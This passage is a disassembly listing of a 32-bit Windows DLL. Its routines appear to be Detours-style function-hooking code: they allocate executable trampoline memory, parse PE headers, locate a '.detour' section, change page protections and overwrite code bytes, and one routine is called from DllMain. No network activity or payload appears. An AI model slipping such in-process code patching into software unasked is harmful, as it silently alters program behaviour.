		cmp	al, 2Eh
		jz	short loc_10017DC9
		cmp	al, 36h
		jz	short loc_10017DC9
		cmp	al, 0E3h
		jz	short loc_10017DC9
		cmp	al, 64h
		jz	short loc_10017DC9
		cmp	al, 65h
		jnz	short loc_10017DD5


loc_10017DC9:				; CODE XREF: sub_10017D8D+26j
					; sub_10017D8D+2Aj ...
		cmp	byte ptr [ecx+1], 0FFh
		jnz	short loc_10017DD5
		cmp	byte ptr [ecx+2], 25h
		jz	short loc_10017DD8


loc_10017DD5:				; CODE XREF: sub_10017D8D+3Aj
					; sub_10017D8D+40j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_10017DD8:				; CODE XREF: sub_10017D8D+8j
					; sub_10017D8D+Cj ...
		push	1
		pop	eax
		retn
sub_10017D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10017DDC	proc near		; CODE XREF: sub_10017B39+CDp

Buffer		= _MEMORY_BASIC_INFORMATION ptr	-20h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, 7FF80000h
		mov	ebx, 10000h
		jbe	short loc_10017E00
		lea	eax, [esi-7FF80000h]
		mov	[ebp+arg_0], eax
		jmp	short loc_10017E03
; ---------------------------------------------------------------------------


loc_10017E00:				; CODE XREF: sub_10017DDC+17j
		mov	[ebp+arg_0], ebx


loc_10017E03:				; CODE XREF: sub_10017DDC+22j
		cmp	esi, 80000000h
		jnb	short loc_10017E16
		lea	eax, [esi+7FF80000h]
		mov	[ebp+var_4], eax
		jmp	short loc_10017E1D
; ---------------------------------------------------------------------------


loc_10017E16:				; CODE XREF: sub_10017DDC+2Dj
		mov	[ebp+var_4], 0FFF80000h


loc_10017E1D:				; CODE XREF: sub_10017DDC+38j
		mov	eax, dword_10073FA4
		mov	ecx, lpAddress
		test	eax, eax
		jnz	short loc_10017E37
		test	ecx, ecx
		jz	short loc_10017E4C
		mov	eax, ecx
		mov	dword_10073FA4,	eax


loc_10017E37:				; CODE XREF: sub_10017DDC+4Ej
		mov	edx, [eax+8]
		test	edx, edx
		jz	short loc_10017E4C
		cmp	edx, [ebp+arg_0]
		jb	short loc_10017E4C
		cmp	edx, [ebp+var_4]
		jbe	loc_10017FA5


loc_10017E4C:				; CODE XREF: sub_10017DDC+52j
					; sub_10017DDC+60j ...
		mov	eax, ecx
		test	ecx, ecx
		mov	dword_10073FA4,	eax
		jz	short loc_10017E7C
		test	eax, eax
		jz	short loc_10017E70


loc_10017E5B:				; CODE XREF: sub_10017DDC+9Ej
		mov	ecx, [eax+8]
		test	ecx, ecx
		jz	short loc_10017E70
		cmp	ecx, [ebp+arg_0]
		jb	short loc_10017E70
		cmp	ecx, [ebp+var_4]
		jbe	loc_10017FA5


loc_10017E70:				; CODE XREF: sub_10017DDC+7Dj
					; sub_10017DDC+84j ...
		mov	eax, [eax+4]
		test	eax, eax
		mov	dword_10073FA4,	eax
		jnz	short loc_10017E5B


loc_10017E7C:				; CODE XREF: sub_10017DDC+79j
		mov	eax, esi
		and	eax, 0FFFFh
		sub	esi, eax
		cmp	esi, [ebp+arg_0]
		mov	edi, esi
		jbe	short loc_10017EE4


loc_10017E8C:				; CODE XREF: sub_10017DDC+ECj
		cmp	edi, 70000000h
		jb	short loc_10017EA1
		cmp	edi, 80000000h
		ja	short loc_10017EA1
		mov	edi, 6FFF0000h


loc_10017EA1:				; CODE XREF: sub_10017DDC+B6j
					; sub_10017DDC+BEj
		lea	eax, [ebp+Buffer]
		push	1Ch		; dwLength
		push	eax		; lpBuffer
		push	edi		; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	short loc_10017EE4
		cmp	[ebp+Buffer.State], ebx
		jnz	short loc_10017EBC
		cmp	[ebp+Buffer.RegionSize], ebx
		jnb	short loc_10017ECC


loc_10017EBC:				; CODE XREF: sub_10017DDC+D9j
		mov	eax, [ebp+Buffer.AllocationBase]
		lea	edi, [eax-10000h]
		cmp	edi, [ebp+arg_0]
		ja	short loc_10017E8C
		jmp	short loc_10017EE4
; ---------------------------------------------------------------------------


loc_10017ECC:				; CODE XREF: sub_10017DDC+DEj
		push	40h		; flProtect
		push	3000h		; flAllocationType
		push	ebx		; dwSize
		push	edi		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		test	eax, eax
		mov	dword_10073FA4,	eax
		jnz	short loc_10017F5B


loc_10017EE4:				; CODE XREF: sub_10017DDC+AEj
					; sub_10017DDC+D4j ...
		cmp	esi, [ebp+var_4]
		jnb	loc_10017FCC
		cmp	esi, 70000000h
		jb	short loc_10017F02
		cmp	esi, 80000000h
		ja	short loc_10017F02
		mov	esi, 80010000h


loc_10017F02:				; CODE XREF: sub_10017DDC+117j
					; sub_10017DDC+11Fj
		lea	eax, [ebp+Buffer]
		push	1Ch		; dwLength
		push	eax		; lpBuffer
		push	esi		; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	loc_10017FCC
		cmp	[ebp+Buffer.State], ebx
		jnz	short loc_10017F50
		cmp	[ebp+Buffer.RegionSize], ebx
		jb	short loc_10017F50
		mov	ecx, esi
		and	ecx, 0FFFFh
		jz	short loc_10017F38
		mov	eax, ebx
		sub	eax, ecx
		sub	[ebp+Buffer.RegionSize], eax
		add	[ebp+Buffer.BaseAddress], eax
		mov	esi, [ebp+Buffer.BaseAddress]


loc_10017F38:				; CODE XREF: sub_10017DDC+14Dj
		push	40h		; flProtect
		push	3000h		; flAllocationType
		push	ebx		; dwSize
		push	esi		; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		test	eax, eax
		mov	dword_10073FA4,	eax
		jnz	short loc_10017F5B


loc_10017F50:				; CODE XREF: sub_10017DDC+13Ej
					; sub_10017DDC+143j
		mov	eax, [ebp+Buffer.BaseAddress]
		mov	ecx, [ebp+Buffer.RegionSize]
		lea	esi, [eax+ecx]
		jmp	short loc_10017EE4
; ---------------------------------------------------------------------------


loc_10017F5B:				; CODE XREF: sub_10017DDC+106j
					; sub_10017DDC+172j
		mov	dword ptr [eax], 52727464h
		mov	eax, dword_10073FA4
		xor	ecx, ecx
		mov	[eax+8], ecx
		mov	eax, dword_10073FA4
		mov	edx, lpAddress
		mov	[eax+4], edx
		mov	eax, dword_10073FA4
		mov	lpAddress, eax
		add	eax, 0FFE0h
		mov	edx, 7FDh


loc_10017F8D:				; CODE XREF: sub_10017DDC+1BAj
		mov	[eax+18h], ecx
		mov	ecx, eax
		sub	eax, 20h
		dec	edx
		jnz	short loc_10017F8D
		mov	eax, dword_10073FA4
		mov	[eax+8], ecx
		mov	eax, dword_10073FA4


loc_10017FA5:				; CODE XREF: sub_10017DDC+6Aj
					; sub_10017DDC+8Ej
		mov	esi, [eax+8]
		cmp	esi, [ebp+arg_0]
		jb	short loc_10017FCC
		cmp	esi, [ebp+var_4]
		ja	short loc_10017FCC
		mov	ecx, [esi+18h]
		push	20h		; Size
		push	0CCh		; Val
		push	esi		; Dst
		mov	[eax+8], ecx
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, esi
		jmp	short loc_10017FCE
; ---------------------------------------------------------------------------


loc_10017FCC:				; CODE XREF: sub_10017DDC+10Bj
					; sub_10017DDC+135j ...
		xor	eax, eax


loc_10017FCE:				; CODE XREF: sub_10017DDC+1EEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10017DDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10017FD3(LPCVOID lpAddress)

sub_10017FD3	proc near		; CODE XREF: sub_10017B39+1A9p

var_3C		= dword	ptr -3Ch
Buffer		= _MEMORY_BASIC_INFORMATION ptr	-38h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
lpAddress	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E5D8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jz	short loc_10018048
		and	[ebp+var_4], 0
		mov	ecx, [ebp+Buffer.AllocationBase]
		cmp	word ptr [ecx],	5A4Dh
		jnz	short loc_10018044
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		mov	[ebp+var_3C], eax
		cmp	dword ptr [eax], 4550h
		jnz	short loc_10018044
		cmp	word ptr [eax+14h], 0
		jnz	short loc_10018039
		xor	eax, eax


loc_10018033:				; CODE XREF: sub_10017FD3+68j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_1001804A
; ---------------------------------------------------------------------------


loc_10018039:				; CODE XREF: sub_10017FD3+5Cj
		mov	eax, ecx
		jmp	short loc_10018033
; ---------------------------------------------------------------------------


loc_1001803D:				; DATA XREF: .rdata:1001E5DCo
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_10018041:				; DATA XREF: .rdata:1001E5E0o
		mov	esp, [ebp+var_18]


loc_10018044:				; CODE XREF: sub_10017FD3+45j
					; sub_10017FD3+55j
		or	[ebp+var_4], 0FFFFFFFFh


loc_10018048:				; CODE XREF: sub_10017FD3+37j
		xor	eax, eax


loc_1001804A:				; CODE XREF: sub_10017FD3+64j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10017FD3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10018059(int, LPCVOID lpAddress)

sub_10018059	proc near		; CODE XREF: sub_1000FBAA+Cp

flOldProtect	= dword	ptr -4
arg_0		= dword	ptr  8
lpAddress	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	Destination, eax
		jz	short loc_10018078
		mov	eax, 10DDh
		jmp	loc_1001814E
; ---------------------------------------------------------------------------


loc_10018078:				; CODE XREF: sub_10018059+13j
		mov	eax, dword_10073FB0
		test	eax, eax
		jnz	loc_1001814E
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jnz	short loc_10018094
		push	6
		pop	eax
		jmp	loc_1001814E
; ---------------------------------------------------------------------------


loc_10018094:				; CODE XREF: sub_10018059+31j
		cmp	dword ptr [edi], 0
		jnz	short loc_100180A6
		push	6
		pop	eax
		mov	dword_10073FB0,	eax
		jmp	loc_10018148
; ---------------------------------------------------------------------------


loc_100180A6:				; CODE XREF: sub_10018059+3Ej
		push	18h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_100180B9
		push	8
		pop	edi
		jmp	short loc_10018132
; ---------------------------------------------------------------------------


loc_100180B9:				; CODE XREF: sub_10018059+59j
		mov	edi, [edi]
		push	0		; int
		push	[ebp+lpAddress]	; lpAddress
		call	sub_100175EE
		movzx	ecx, byte ptr [edi+17h]
		mov	ebx, [edi+18h]
		xor	edx, edx
		sub	ebx, ecx
		cmp	ecx, edx
		jz	short loc_10018127
		cmp	ecx, 17h
		ja	short loc_10018127
		cmp	[edi+1Ch], eax
		jnz	short loc_10018127
		lea	eax, [ebp+flOldProtect]
		mov	[ebp+flOldProtect], edx
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	ecx		; dwSize
		push	ebx		; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		test	eax, eax
		jnz	short loc_100180FD
		call	ds:GetLastError
		mov	edi, eax
		jmp	short loc_10018132
; ---------------------------------------------------------------------------


loc_100180FD:				; CODE XREF: sub_10018059+98j
		mov	eax, [ebp+arg_0]
		mov	dword ptr [esi+4], 1
		mov	[esi+8], eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+flOldProtect]
		mov	[esi+14h], eax
		mov	eax, dword_10073FBC
		mov	[esi], eax
		mov	dword_10073FBC,	esi
		xor	eax, eax
		jmp	short loc_1001814E
; ---------------------------------------------------------------------------


loc_10018127:				; CODE XREF: sub_10018059+79j
					; sub_10018059+7Ej ...
		cmp	dword_10073FA8,	edx
		push	9
		pop	edi
		jnz	short loc_10018138


loc_10018132:				; CODE XREF: sub_10018059+5Ej
					; sub_10018059+A2j
		mov	dword_10073FB0,	edi


loc_10018138:				; CODE XREF: sub_10018059+D7j
		test	esi, esi
		jz	short loc_10018143
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_10018143:				; CODE XREF: sub_10018059+E1j
		mov	eax, edi
		mov	edi, [ebp+arg_0]


loc_10018148:				; CODE XREF: sub_10018059+48j
		mov	dword_10073FB4,	edi


loc_1001814E:				; CODE XREF: sub_10018059+1Aj
					; sub_10018059+26j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_10018059	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018155	proc near		; CODE XREF: sub_1001854D:loc_10018554p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
Dst		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_23		= byte ptr -23h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E5F8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		mov	esi, 10000h
		jz	short loc_1001818D
		lea	esi, [eax+10000h]


loc_1001818D:				; CODE XREF: sub_10018155+30j
		push	1Ch		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_1001819D:				; CODE XREF: sub_10018155+93j
		push	1Ch		; dwLength
		lea	eax, [ebp+Dst]
		push	eax		; lpBuffer
		push	esi		; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		test	eax, eax
		jbe	short loc_1001820C
		cmp	[ebp+var_28], 1000h
		jnz	short loc_100181DF
		test	[ebp+var_23], 1
		jnz	short loc_100181DF
		and	[ebp+var_4], 0
		mov	[ebp+var_3C], esi
		cmp	word ptr [esi],	5A4Dh
		jnz	short loc_100181DB
		mov	eax, [esi+3Ch]
		add	eax, esi
		mov	[ebp+var_40], eax
		cmp	dword ptr [eax], 4550h
		jz	short loc_100181EA


loc_100181DB:				; CODE XREF: sub_10018155+74j
		or	[ebp+var_4], 0FFFFFFFFh


loc_100181DF:				; CODE XREF: sub_10018155+60j
					; sub_10018155+66j
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+Dst]
		lea	esi, [eax+ecx]
		jmp	short loc_1001819D
; ---------------------------------------------------------------------------


loc_100181EA:				; CODE XREF: sub_10018155+84j
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, esi


loc_100181F0:				; CODE XREF: sub_10018155+B9j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_10018201:				; DATA XREF: .rdata:1001E5FCo
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_10018205:				; DATA XREF: .rdata:1001E600o
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh


loc_1001820C:				; CODE XREF: sub_10018155+57j
		xor	eax, eax
		jmp	short loc_100181F0
sub_10018155	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018210	proc near		; CODE XREF: sub_1001832C+34p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E608
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_1001824C
		push	ebx		; lpModuleName
		call	ds:GetModuleHandleA	; GetModuleHandleA
		mov	[ebp+var_1C], eax


loc_1001824C:				; CODE XREF: sub_10018210+30j
		mov	[ebp+var_4], ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_10018260
		push	0C1h
		jmp	loc_1001830F
; ---------------------------------------------------------------------------


loc_10018260:				; CODE XREF: sub_10018210+44j
		mov	esi, [eax+3Ch]
		add	esi, eax
		mov	[ebp+var_24], esi
		cmp	dword ptr [esi], 4550h
		jz	short loc_1001827A
		push	0BFh
		jmp	loc_1001830F
; ---------------------------------------------------------------------------


loc_1001827A:				; CODE XREF: sub_10018210+5Ej
		mov	ax, [esi+14h]
		cmp	ax, bx
		jnz	short loc_1001829B


loc_10018283:				; CODE XREF: sub_10018210+9Ej
					; sub_10018210+BFj ...
		xor	esi, esi
		push	0C0h		; dwErrCode


loc_1001828A:				; CODE XREF: sub_10018210+EEj
		call	ds:SetLastError
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, esi
		jmp	loc_1001831B
; ---------------------------------------------------------------------------


loc_1001829B:				; CODE XREF: sub_10018210+71j
		movzx	eax, ax
		lea	eax, [eax+esi+18h]
		mov	[ebp+var_20], eax


loc_100182A5:				; CODE XREF: sub_10018210+F1j
		mov	[ebp+var_28], ebx
		movzx	eax, word ptr [esi+6]
		cmp	ebx, eax
		jnb	short loc_10018283
		lea	eax, [ebx+ebx*4]
		mov	ecx, [ebp+var_20]
		lea	edi, [ecx+eax*8]
		push	offset a_detour	; ".detour"
		push	edi		; Str1
		call	strcmp	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_10018300
		mov	eax, [edi+0Ch]
		test	eax, eax
		jz	short loc_10018283
		cmp	dword ptr [edi+10h], 0
		jz	short loc_10018283
		mov	ecx, [ebp+var_1C]
		lea	esi, [eax+ecx]
		mov	[ebp+var_2C], esi
		mov	[ebp+var_30], esi
		mov	eax, [esi]
		cmp	eax, 40h
		jb	short loc_10018283
		cmp	dword ptr [esi+4], 727444h
		jnz	short loc_10018283
		cmp	dword ptr [esi+8], 0
		jnz	short loc_100182FC
		mov	[esi+8], eax


loc_100182FC:				; CODE XREF: sub_10018210+E7j
		push	0
		jmp	short loc_1001828A
; ---------------------------------------------------------------------------


loc_10018300:				; CODE XREF: sub_10018210+B8j
		inc	ebx
		jmp	short loc_100182A5
; ---------------------------------------------------------------------------


loc_10018303:				; DATA XREF: .rdata:1001E60Co
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_10018307:				; DATA XREF: .rdata:1001E610o
		mov	esp, [ebp+var_18]
		push	0C0h		; dwErrCode


loc_1001830F:				; CODE XREF: sub_10018210+4Bj
					; sub_10018210+65j
		call	ds:SetLastError
		or	[ebp+var_4], 0FFFFFFFFh
		xor	eax, eax


loc_1001831B:				; CODE XREF: sub_10018210+86j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_10018210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001832C	proc near		; CODE XREF: sub_1001854D+1Cp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E618
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_1001835D
		mov	[edi], ebx


loc_1001835D:				; CODE XREF: sub_1001832C+2Dj
		push	[ebp+arg_0]
		call	sub_10018210
		cmp	eax, ebx
		jz	loc_10018449
		mov	[ebp+var_4], ebx
		mov	[ebp+var_24], eax
		cmp	dword ptr [eax], 40h
		jb	loc_10018423
		cmp	dword ptr [eax+4], 727444h
		jnz	loc_10018423
		mov	esi, [eax+8]
		add	esi, eax
		mov	[ebp+var_28], esi
		mov	ecx, [eax+0Ch]
		add	ecx, eax
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_4]


loc_1001839F:				; CODE XREF: sub_1001832C+F1j
		cmp	esi, ecx
		jnb	short loc_1001841F
		mov	[ebp+var_30], esi
		mov	edx, [esi+8]
		cmp	edx, [eax]
		jnz	short loc_10018418
		mov	dx, [esi+0Ch]
		cmp	dx, [eax+4]
		jnz	short loc_10018418
		mov	dx, [esi+0Eh]
		cmp	dx, [eax+6]
		jnz	short loc_10018418
		mov	dl, [esi+10h]
		cmp	dl, [eax+8]
		jnz	short loc_10018418
		mov	dl, [esi+11h]
		cmp	dl, [eax+9]
		jnz	short loc_10018418
		mov	dl, [esi+12h]
		cmp	dl, [eax+0Ah]
		jnz	short loc_10018418
		mov	dl, [esi+13h]
		cmp	dl, [eax+0Bh]
		jnz	short loc_10018418
		mov	dl, [esi+14h]
		cmp	dl, [eax+0Ch]
		jnz	short loc_10018418
		mov	dl, [esi+15h]
		cmp	dl, [eax+0Dh]
		jnz	short loc_10018418
		mov	dl, [esi+16h]
		cmp	dl, [eax+0Eh]
		jnz	short loc_10018418
		mov	dl, [esi+17h]
		cmp	dl, [eax+0Fh]
		jnz	short loc_10018418
		cmp	edi, ebx
		jz	short loc_10018418
		mov	eax, [esi]
		sub	eax, 18h
		mov	[edi], eax
		push	ebx		; dwErrCode
		call	ds:SetLastError
		lea	eax, [esi+18h]
		jmp	short loc_10018430
; ---------------------------------------------------------------------------


loc_10018418:				; CODE XREF: sub_1001832C+7Fj
					; sub_1001832C+89j ...
		add	esi, [esi]
		mov	[ebp+var_20], esi
		jmp	short loc_1001839F
; ---------------------------------------------------------------------------


loc_1001841F:				; CODE XREF: sub_1001832C+75j
		push	6
		jmp	short loc_10018428
; ---------------------------------------------------------------------------


loc_10018423:				; CODE XREF: sub_1001832C+4Aj
					; sub_1001832C+57j
		push	0BFh		; dwErrCode


loc_10018428:				; CODE XREF: sub_1001832C+F5j
		call	ds:SetLastError
		xor	eax, eax


loc_10018430:				; CODE XREF: sub_1001832C+EAj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_1001844B
; ---------------------------------------------------------------------------


loc_10018436:				; DATA XREF: .rdata:1001E61Co
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_1001843A:				; DATA XREF: .rdata:1001E620o
		mov	esp, [ebp+var_18]
		push	6		; dwErrCode
		call	ds:SetLastError
		or	[ebp+var_4], 0FFFFFFFFh


loc_10018449:				; CODE XREF: sub_1001832C+3Bj
		xor	eax, eax


loc_1001844B:				; CODE XREF: sub_1001832C+108j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_1001832C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1001845C(DWORD flOldProtect, DWORD flNewProtect)

sub_1001845C	proc near		; CODE XREF: sub_1001854D+32p

var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
flOldProtect	= dword	ptr  8
flNewProtect	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, [ebp+flOldProtect]
		mov	eax, 150h
		cmp	[esi], eax
		jnz	loc_1001853B
		cmp	[ebp+flNewProtect], eax
		jb	loc_1001853B
		and	[ebp+var_4], 0
		lea	eax, [ebp+flNewProtect]
		push	edi
		mov	edi, ds:VirtualProtect
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	40h		; dwSize
		push	dword ptr [esi+4] ; lpAddress
		call	edi ; VirtualProtect
		test	eax, eax
		jz	loc_10018535
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax		; lpflOldProtect
		mov	ebx, 0F8h
		push	40h		; flNewProtect
		push	ebx		; dwSize
		push	dword ptr [esi+8] ; lpAddress
		call	edi ; VirtualProtect
		test	eax, eax
		jz	short loc_10018526
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_100184C8
		lea	ecx, [ebp+var_C]
		push	ecx		; lpflOldProtect
		push	40h		; flNewProtect
		push	4		; dwSize
		push	eax		; lpAddress
		call	edi ; VirtualProtect
		test	eax, eax
		jz	short loc_10018519


loc_100184C8:				; CODE XREF: sub_1001845C+5Bj
		lea	eax, [esi+14h]
		push	40h		; Size
		push	eax		; Src
		push	dword ptr [esi+4] ; Dst
		call	memcpy	; memcpy
		lea	eax, [esi+54h]
		push	ebx		; Size
		push	eax		; Src
		push	dword ptr [esi+8] ; Dst
		call	memcpy	; memcpy
		mov	eax, [esi+0Ch]
		add	esp, 18h
		test	eax, eax
		jz	short loc_100184FF
		lea	ecx, [esi+14Ch]
		push	4		; Size
		push	ecx		; Src
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch


loc_100184FF:				; CODE XREF: sub_1001845C+8Fj
		mov	eax, [esi+0Ch]
		mov	[ebp+var_4], 1
		test	eax, eax
		jz	short loc_10018519
		lea	ecx, [ebp+flOldProtect]
		push	ecx		; lpflOldProtect
		push	[ebp+flNewProtect] ; flNewProtect
		push	4		; dwSize
		push	eax		; lpAddress
		call	edi ; VirtualProtect


loc_10018519:				; CODE XREF: sub_1001845C+6Aj
					; sub_1001845C+AFj
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	[ebp+var_8]	; flNewProtect
		push	ebx		; dwSize
		push	dword ptr [esi+8] ; lpAddress
		call	edi ; VirtualProtect


loc_10018526:				; CODE XREF: sub_1001845C+54j
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	[ebp+flNewProtect] ; flNewProtect
		push	40h		; dwSize
		push	dword ptr [esi+4] ; lpAddress
		call	edi ; VirtualProtect
		pop	ebx


loc_10018535:				; CODE XREF: sub_1001845C+3Aj
		mov	eax, [ebp+var_4]
		pop	edi
		jmp	short loc_10018548
; ---------------------------------------------------------------------------


loc_1001853B:				; CODE XREF: sub_1001845C+11j
					; sub_1001845C+1Aj
		push	0C1h		; dwErrCode
		call	ds:SetLastError
		xor	eax, eax


loc_10018548:				; CODE XREF: sub_1001845C+DDj
		pop	esi
		leave
		retn	8
sub_1001845C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001854D	proc near		; CODE XREF: DllMain(x,x,x)+20Fp

flNewProtect	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0


loc_10018554:				; CODE XREF: sub_1001854D+2Cj
		call	sub_10018155
		mov	esi, eax
		test	esi, esi
		jz	short loc_10018586
		lea	eax, [ebp+flNewProtect]
		push	eax
		push	offset dword_1001E5E8
		push	esi
		call	sub_1001832C
		test	eax, eax
		jz	short loc_10018578
		cmp	[ebp+flNewProtect], 0
		jnz	short loc_1001857B


loc_10018578:				; CODE XREF: sub_1001854D+23j
		push	esi
		jmp	short loc_10018554
; ---------------------------------------------------------------------------


loc_1001857B:				; CODE XREF: sub_1001854D+29j
		push	[ebp+flNewProtect] ; flNewProtect
		push	eax		; flOldProtect
		call	sub_1001845C
		jmp	short loc_10018590
; ---------------------------------------------------------------------------


loc_10018586:				; CODE XREF: sub_1001854D+10j
		push	7Eh		; dwErrCode
		call	ds:SetLastError
		xor	eax, eax


loc_10018590:				; CODE XREF: sub_1001854D+37j
		pop	esi
		leave
		retn
sub_1001854D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018593	proc near		; CODE XREF: sub_1001785F+74p
					; sub_10017B39+FDp

var_5C		= byte ptr -5Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_5C]
		push	[ebp+arg_8]
		call	sub_100185B9
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_5C]
		push	[ebp+arg_0]
		call	sub_100185ED
		leave
		retn	10h
sub_10018593	endp


; =============== S U B	R O U T	I N E =======================================



sub_100185B9	proc near		; CODE XREF: sub_10018593+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ecx
		push	esi
		mov	ecx, [esp+4+arg_0]
		xor	esi, esi
		cmp	ecx, esi
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[eax+8], esi
		jnz	short loc_100185D1
		lea	ecx, [eax+18h]


